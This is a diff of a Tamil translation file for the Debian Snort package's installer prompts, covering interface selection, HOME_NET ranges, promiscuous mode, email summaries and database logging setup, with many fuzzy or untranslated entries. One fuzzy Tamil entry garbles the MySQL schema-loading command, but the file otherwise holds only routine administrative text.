+"ஐபி இல்லாமலும் வரைமுறை இல்லா பாங்கில் வடிவமைக்கப் பட்ட இடைமுகத்தில் ஸ்னோர்ட்டை இயக்குவதும் "
+"வழக்கமே. இந்த பாங்கிற்கு நீங்கள் ஆராய விரும்பும் வலைப் பின்னலுக்குபௌதிகமாக இணக்கப் பட்டுள்ள "
+"இந்த கணினியின் இடைமுகத்தை தேர்ந்தெடுக்கவும். பின்னால்வரைமுறை இல்லா பாங்கை செயல் படுத்தி "
+"இந்த இடைமுகத்துக்கு போக்கு வரத்து அனுப்பப் படுவதைஉறுதி செய்யவும். (துறை பிரதிபலிப்பான்/ "
+"மாற்றுத் துறை மாற்றிக்கு  அல்லது ஒரு குவியத்துக்கோகுழாய்க்கோ இணைத்து)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "You can configure multiple interfaces here, just by adding more than one "
+#| "interface name separated by spaces. Each interface can have its specific "
+#| "configuration."
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"நீங்கள் இங்கு பல இடைமுகங்களை வடிவமைக்கலாம். ஒன்றுக்கு மேற்பட்ட பெயர்களைவெற்றிடத்தால் "
+"பிரித்து இங்கு சேர்க்கவும். ஒவ்வொரு இடைமுகமும் அதன் தனி வடிவமைப்பை பெற்று இருக்கலாம்"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid "Please enter the address range that Snort will listen on."
+msgid "Address range for the local network:"
+msgstr "ஸ்னோர்ட் செவி சாய்க்க வேண்டிய முகவரி வீச்சை உள்ளிடவும்."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#| "192.168.1.42/32 for just one. Specify multiple addresses on a single line "
+#| "separated by ',' (comma characters), no spaces allowed!"
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"நீங்கள் CIDR பாங்கு அதாவது 256 ஐபி களுக்கு 192.168.1.0/24 ஐ அல்லது ஒன்றுக்கு மட்டும் "
+"192.168.1.42/32 ஐ குறிப்பிடவும். பல முகவரிகளை , (கமாவால்) பிரித்து குறிப்பிடவும். "
+"வெற்றிடத்துக்கு அனுமதியில்லை!"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "Notice that if you are using multiple interfaces this definition will be "
+#| "used as the HOME_NET definition of all of them."
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"நீங்கள் பல இடைமுகங்களை பயன் படுத்தினால் இந்த வரையரை அவை அனைத்தின் இல்லவலை (HOME_NET) "
+"வரையரையாக பயன் படுத்தப் படும்."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "ஸ்னோர்ட் இடைமுகத்தில் பாங்கை செயலிழக்கச் செய்ய வேண்டுமா?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+#, fuzzy
+#| msgid ""
+#| "Disabling promiscuous mode means that Snort will only see packets "
+#| "addressed to it's own interface. Enabling it allows Snort to check  every "
+#| "packet that passes ethernet segment even if it's a connection between two "
+#| "other computers."
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"வரைமுறை இல்லா பாங்கை செயலிழக்கச் செய்வது என்பது ஸ்னோர்ட்டை அதன் இடைமுகத்தில் "
+"வரும்பொட்டலங்களை மட்டும் சோதிக்க அனுமதிக்கும். செயல் படுத்துவது ஈதர்நெட் வழியாக போகும் "
+"எல்லா பொட்டலங்களையும் சோதிக்க- இரண்டு கணினிகளிடையே கூட - அனுமதிக்கும்."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "செல்லுபடியாகாத இடைமுகம்"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+#, fuzzy
+#| msgid "Should Snort's rules testing order be changed to Pass|Alert|Log?"
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"ஸ்னோர்டின் சோதிக்கும் வரிசை விதிகள் அனுப்பு| எச்சரி|லாக் பதிவு என மாற்றப் பட வேண்டுமா?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "தினசரி சுருக்கத்தை மின்னஞ்சலில் அனுப்ப வேண்டுமா?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+#, fuzzy
+#| msgid "Who should receive the daily statistics mails?"
+msgid "Recipient of daily statistics mails:"
+msgstr "தினசரி புள்ளிவிவர அஞ்சலை யார் பெற வேண்டும்?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+#, fuzzy
+#| msgid ""
+#| "An alert needs to appear more times than this number to be included in "
+#| "the daily statistics."
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"இந்த எண்ணைக் காட்டிலும் அதிக எச்சரிக்கைகள் தோன்றினால் மட்டும் அது தினசரி புள்ளி விவரத்தில் "
+"சேர்க்கப் படும்."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Obsolete configuration file"
+msgstr "இந்த கணினி வழக்கொழிந்த வடிவமைப்பு கோப்பை பயன் படுத்துகிறது."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid ""
+#| "Your system has an obsolete configuration file (/etc/snort/snort.common."
+#| "parameters) which has been automatically converted into the new "
+#| "configuration file format (at /etc/default/snort). Please review the new "
+#| "configuration and remove the obsolete one. Until you do this, the init.d "
+#| "script will not use the new configuration and you will not take advantage "
+#| "of the benefits introduced in newer releases."
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"இந்த கணினி வழக்கொழிந்த வடிவமைப்பு கோப்பை பயன் படுத்துகிறது. (/etc/snort/snort."
+"common.parameters) இது தானியங்கியாக புதிய வடிவமைப்பு கோப்பாக மாற்றப் பட்டுவிட்டது. "
+"(/etc/default/snort இல்) தயை செய்து புதிய கோப்பை மறு ஆய்வு செய்து  வழக்கொழிந்த "
+"கோப்பை நீக்கவும்.இதை நீங்கள் செய்யும் வரை init.d சிறுநிரல் புதிய வடிவமைப்பை "
+"பயன்படுத்தாது; நீங்களும் புதிய பதிப்பு தரும் வசதிகளை பயன் படுத்த இயலாது."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid ""
+#| "Your system has an obsolete configuration file (/etc/snort/snort.common."
+#| "parameters) which has been automatically converted into the new "
+#| "configuration file format (at /etc/default/snort). Please review the new "
+#| "configuration and remove the obsolete one. Until you do this, the init.d "
+#| "script will not use the new configuration and you will not take advantage "
+#| "of the benefits introduced in newer releases."
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"இந்த கணினி வழக்கொழிந்த வடிவமைப்பு கோப்பை பயன் படுத்துகிறது. (/etc/snort/snort."
+"common.parameters) இது தானியங்கியாக புதிய வடிவமைப்பு கோப்பாக மாற்றப் பட்டுவிட்டது. "
+"(/etc/default/snort இல்) தயை செய்து புதிய கோப்பை மறு ஆய்வு செய்து  வழக்கொழிந்த "
+"கோப்பை நீக்கவும்.இதை நீங்கள் செய்யும் வரை init.d சிறுநிரல் புதிய வடிவமைப்பை "
+"பயன்படுத்தாது; நீங்களும் புதிய பதிப்பு தரும் வசதிகளை பயன் படுத்த இயலாது."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-mysql to log to?"
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "ஸ்னோர்ட்-மைஎஸ்க்யூஎல் உள்நுழைய ஒரு தரவுத்தளம் அமைக்க விரும்புகிறீர்களா?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+#, fuzzy
+#| msgid ""
+#| "Make sure it has been set up correctly to allow incoming connections from "
+#| "this host!"
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"அது உள் வரும் இணப்புகளை அனுமதிக்க சரியாக அமைக்கப்பட்டுள்ளதா என உறுதி செய்து கொள்ளவும்!"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+#, fuzzy
+#| msgid ""
+#| "Make sure this database has been created and your database user has write "
+#| "access to this database."
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"இந்த தரவுத்தளம் உருவாக்கப் பட்டுவிட்டது என்பதையும் பயனருக்கு இந்த தரவுத்தளத்தில் அணுக எழுத "
+"அனுமதி உள்ளது என்பதையும் உறுதி செய்து கொள்ளவும்."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter the password for the database connection."
+msgid "Password for the database connection:"
+msgstr "தரவுத் தள இணப்புக்கு கடவுச்சொல் உள்ளிடுக."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter a password to connect to the Snort Alert database."
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr "ஸ்னோர்ட் அலர்ட் தரவுத் தள இணப்புக்கு கடவுச்சொல் உள்ளிடுக."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+#| msgid ""
+#| "Snort needs a configured database before it can successfully start up. In "
+#| "order to create the structure you need to run the following commands "
+#| "AFTER the package is installed:\n"
+#| " cd /usr/share/doc/snort-mysql/\n"
+#| " zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>\n"
+#| "Fill in the correct values for the user, host, and database names. MySQL "
+#| "will prompt you for the password."
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"ஸ்னோர்ட் வெற்றிகரமாக துவக்கப் பட வடிவமைக்கப் பட்ட தரவுத்தளம் தேவை. பொதி நிறுவப் பட்ட "
+"*பின்* பின் வரும் கட்டளைகளை இயக்கி உங்களுக்கு தேவையான அமைப்பை உருவாக்கவும்:\n"
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_postgresql.gz | myql -U <user> -h <host> -W <databasename>\n"
+"பயனர், புரவலன் மற்றும் தரவுத்தள பெயர்கள் ஆகியவற்றுக்கு சரியான மதிப்புகளை நிரப்புக. "
+"MySQL கடவுச்சொல்லுக்காக உங்களை தூண்டும்."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+#| msgid ""
+#| "After you created the database structure, you will need to start Snort "
+#| "manually."
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "நீங்கள் தரவுத்தள அமைப்பை உருவாக்கிய பின் ஸ்னோர்ட்டை கைமுறையாக துவக்க வேண்டும்."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-pgsql to log to?"
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "ஸ்னோர்ட்-பிஜிஎஸ்க்யூஎல் உள்நுழைய தரவுத்தளம் ஒன்றை உருவாக்க வேண்டுமா?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Deprecated configuration file"
+msgstr "இந்த கணினி வழக்கொழிந்த வடிவமைப்பு கோப்பை பயன் படுத்துகிறது."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "Your Snort configuration file (/etc/snort/snort.conf) uses deprecated "
+#| "options no longer available for this Snort release.  Snort will not be "
+#| "able to start unless you provide a correct configuration file. You can "
+#| "substitute your configuration file with the one provided in this package "
+#| "or fix it manually by removing deprecated options."
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"உங்கள் ஸ்னோர்ட் வடிவமைப்பு கோப்பு (/etc/snort/snort.conf) இந்த பதிப்பு ஸ்னோர்ட் இல் "
+"கைவிடப்பட்ட இப்போது கிடைக்காத தேர்வுகளை பயன் படுத்துகிறது.நீங்கள் சரியான வடிவமைப்பு "
+"கோப்பை தரும் வரை ஸ்னோர்ட் துவங்க இயலாது. இந்த பொதியில் தரப் பட்டுள்ள ஒன்றால் உங்கள் "
+"வடிவமைப்பு கோப்பை நீக்கலாம். அல்லது கைமுறையாக கைவிடப்பட்ட தேர்வுகளை நீக்கி சரி செய்யலாம்."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "The following deprecated options were found in your configuration file: "
+#| "${DEP_CONFIG}"
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"உங்கள் வடிவமைப்பு கோப்பில் பின்வரும் கைவிடப்பட்ட தேர்வுகள் காணப் பட்டன:${DEP_CONFIG}"
+
+#, fuzzy
+#~| msgid "You are running Snort manually."
+#~ msgid "You are running Snort manually"
+#~ msgstr "நீங்கள் ஸ்னோர்டை கைமுறையாக இயக்குகிறீர்கள்."
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "உங்கள் வடிவமைப்பில் ஒரு பிழை உள்ளது."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "உங்கள் வடிவமைப்பு கோப்பு கைவிடப்பட்டது."
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "துவக்கம், டயல் செய்த போது, கைமுறை"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "ஸ்னோர்ட் எப்போது துவக்கப் பட வேண்டும்?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "வலைப்பின்னலின் எந்த பகுதியையும் நம்பாமல் இருக்க விரும்பினால் 'ஏதும்' எனக் குறிப்பிடலாம்."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "நீங்கள் குறிப்பிட்ட இடைமுகத்தில் ஒன்று செல்லுபடியாகாதது. (அது இல்லாமல் இருக்கலாம் "
+#~ "அல்லது செயலிழந்திருக்கலாம்.) எந்த இடை முகத்தில் ஸ்னோர்ட் செவி சாய்க்க வேண்டும்? என்ற "
+#~ "கேள்விக்கு பதில் தரும் போது ஒரு செல்லுபடியாகும் இடைமுகத்தை குறிப்பிடவும்."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "நீங்கள் ஒரு இடைமுகத்தை குறிப்பிடவில்லையானால் இந்த பொதி முன்னிருப்பான 'eth0'ஐ "
+#~ "பயன்படுத்த முயல்கிறது. அது உங்கள் கணினியில் செல்லுபடியாகாதது போல தெரிகிறது."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "ஸ்னோர்டின் சோதிக்கும் வரிசை விதிகள் அனுப்பு| எச்சரி|லாக் பதிவு என மாற்றினால்அந்த "
+#~ "வரிசையில் அவை செயல்படுத்தப் படும். சாதாரணமாக இந்த வரிசை எச்சரி|அனுப்பு |லாக் "
+#~ "பதிவுஇது மக்களை அவர்களின் எச்சரிக்கை விதிகளை பெர்கி பொட்டல வடிப்பி கட்டளை வரி "
+#~ "தர்க்கத்துக்கு நீண்ட வரி எழுதுவதை தவிர்க்கும்."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "இந்த ஸ்னோர்ட் நிறுவல் ஒரு க்ரான் வேலையை தினசரி இயக்குகிறது. அது ஸ்னோர்ட் பதிவேட்டில் "
+#~ "உள்ளவற்றை சுருக்கி ஒரு மின்னஞ்சலுக்கு அனுப்புகிறது. இதை வேண்டாம் என கருதினால் இங்கு "
+#~ "இல்லை என குறிப்பிடவும்."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "தினசரி இயங்கும் ஒரு க்ரான் வேலை 'snort-stat' என்ற ஒரு சிறுநிரலால்  அது ஸ்னோர்ட் "
+#~ "பதிவேட்டில் உள்ள தகவலை சுருக்குகிறது. இங்கு அதை பெற வேண்டிய நபரை குறிப்பிடவும். "
+#~ "முன்னிருப்பு கணினி மேலாளர். நீங்கள் இதையே வைத்துக் கொள்வதாக இருந்தால் "
+#~ "மேலாளரிடமிருந்து நிச்சயமாக படிக்கும் ஒரு பயனருக்கு அது மேல் அனுப்பப் படுவதை உறுதி "
+#~ "செய்து கொள்ளவும்."
+
+#, fuzzy
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "நீங்கள் ஸ்னோர்டுக்கு தனிப்பயன் தேர்வுகளை குறிப்பிட விரும்பினால் இங்கு குறிப்பிடவும். "
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "அமைப்பு செயல்பட தயை செய்து ஸ்னோர்டை\n"
+#~ "இதை பயன் படுத்தி மீள்துவக்கவும்:\n"
+#~ " /etc/init.d/snort start"
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "உங்கள் ஸ்னோர்ட் வடிவமைப்பு சரியாக இல்லை. ஆகவே ஸ்னோர்ட் சரியாக துவக்கப் பட முடியாது. "
+#~ "உங்கள் வடிவமைப்பை பார்த்து சரி செய்யவும். இதை செய்யாவிட்டால் மேம் படுத்தல்கள் சிதையும். "
+#~ "என்ன பிழை நிகழுகிறது என அறிய '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf'  ஐ இயக்குங்கள்.அல்லது பல்வேறு இடைமுகங்களுக்கு பல்வேறு கோப்புகளைப் பயன் "
+#~ "படுத்தினால் மாற்று வடிவமைப்பு கோப்பு ஒன்றை சுட்டிக் காட்டுங்கள்."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "முதல் முறை நீங்கள் ஸ்னோர்ட்-மைஎஸ்க்யூஎல் நிறுவும்போது மட்டும் இதை செய்தால் போதும். மேலே "
+#~ "தொடருமுன் கீழ் கண்டவை உங்களிடம் இருப்பதை உறுதி படுத்திக் கொள்ளுங்கள். (1) இந்த "
+#~ "புரவலனினிருந்து டிசிபி இணப்புகளை அனுமதிக்கும் மைஎஸ்க்யூஎல் சேவையகத்தை இயக்கும் "
+#~ "கணினியின் புரவலன் பெயர். (2) அந்த சேவயகத்தில் ஒரு தரவுத்தளம்.(3) அந்த தரவுத் தளத்தை "
+#~ "அணுக பயனர் பெயரும் கடவுச் சொல்லும். இதெல்லாம் இல்லை எனில் 'இல்லை'  ஐ தேர்ந்தெடுத்து "
+#~ "வழக்கமான கோப்பு பதியும் ஆதரவுடன் இயக்குக. அல்லது இதை முதலில் சரி செய்க. நீங்கள் "
+#~ "எப்போது வேண்டுமானாலும் உள்நுழைந்து தரவுத்தள வடிவமைப்பை மாற்றிக் கொள்ளலாம். இதற்கு "
+#~ "ஸ்னோர்ட்-மைஎஸ்க்யூஎல் பணித் தொகுப்பை 'dpkg-reconfigure -plow snort-mysql'  கட்டளை "
+#~ "மூலம் செய்யலாம்."
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "இந்த பயனருக்கு இந்த தரவுத்தளத்தில் அணுக எழுத அனுமதி உள்ளது என்பதை உறுதி செய்து "
+#~ "கொள்ளவும்."
+
+#, fuzzy
+#~| msgid "Snort needs a configured database to log to before it starts."
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr "ஸ்னோர்ட் துவங்கும் முன் அது உள்நுழைய ஒரு வடிவமைத்த தரவுத்தளம் தேவை."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "முதல் முறை நீங்கள் ஸ்னோர்ட்-பிஜிஎஸ்க்யூஎல் நிறுவும்போது மட்டும் இதை செய்தால் போதும். மேலே "
+#~ "தொடருமுன் கீழ் கண்டவை உங்களிடம் இருப்பதை உறுதி படுத்திக் கொள்ளுங்கள். (1) இந்த "
+#~ "புரவலனினிருந்து டிசிபி இணப்புகளை அனுமதிக்கும் பிஜிஎஸ்க்யூஎல் சேவையகத்தை இயக்கும் "
+#~ "கணினியின் புரவலன் பெயர். (2) அந்த சேவயகத்தில் ஒரு தரவுத்தளம்.(3) அந்த தரவுத் தளத்தை "
